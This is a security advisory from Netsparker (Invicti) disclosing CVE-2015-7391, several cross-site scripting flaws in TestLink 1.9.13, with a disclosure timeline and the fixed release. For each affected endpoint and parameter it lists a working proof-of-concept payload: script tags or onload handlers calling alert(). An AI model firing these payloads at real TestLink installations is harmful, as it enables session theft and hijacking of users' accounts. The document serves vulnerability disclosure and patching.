Multiple Cross-site Scripting Vulnerabilities Identified in TestLink 1.9.13
Information
Advisory by Netsparker (now Invicti)
Name: Multiple XSS Vulnerabilities in TestLink 1.9.13
Affected Software: TestLink
Affected Versions: 1.9.1.3 and possibly below
Vendor Homepage: http://testlink.org/
Vulnerability Type: Cross-site Scripting
Severity: Important
Status: Fixed
CVE-ID: CVE-2015-7391
Invicti Advisory Reference: NS-15-016
Technical Details
Proof of Concept URLs for XSS in TestLink 1.9.13:
/testlink-code-1.9.13/lib/results/tcCreatedPerUserOnTestProject.php
Parameter Name: selected_end_date
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x008360)</scRipt>
/testlink-code-1.9.13/lib/results/tcCreatedPerUserOnTestProject.php
Parameter Name: selected_start_date
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x007F5A)</scRipt>
/testlink-code-1.9.13/lib/testcases/containerEdit.php
Parameter Name: containerType
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x0053E8)</scRipt>
/testlink-code-1.9.13/lib/testcases/listTestCases.php?feature=edit_tc
Parameter Name: filter_tc_id
Parameter Type: POST
Attack Pattern: "><body onload=alert(9)>
/testlink-code-1.9.13/lib/testcases/listTestCases.php?feature=edit_tc
Parameter Name: filter_testcase_name
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x0050D4)</scRipt>
/testlink-code-1.9.13/lib/testcases/tcImport.php?containerID=2&bIntoProject=1&useRecursion='"--></style></scRipt><scRipt>alert(0x004898)</scRipt>
Parameter Name: useRecursion
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x004898)</scRipt>
/testlink-code-1.9.13/lib/testcases/tcSearch.php
Parameter Name: targetTestCase
Parameter Type: POST
Attack Pattern: "><body onload=alert(9)>
/testlink-code-1.9.13/lib/testcases/tcSearch.php
Parameter Name: created_by
Parameter Type: POST
Attack Pattern: "><scRipt>alert(9)</scRipt>
/testlink-code-1.9.13/third_party/user_contribution/fakeRemoteExecServer/client4fakeXMLRPCTestRunner.php
Parameter Name: Referer
Parameter Type: HTTP Header
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x00FF1E)</scRipt>
For more information on cross-site scripting vulnerabilities, see Cross-site Scripting (XSS).
Advisory Timeline
15/09/2015 – First Contact
02/10/2015 – Vendor Fixed
05/10/2015 – Advisory Released
Solution
https://github.com/TestLinkOpenSourceTRMS/testlink-code/releases/tag/1.9.14
Credits & Authors
These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.
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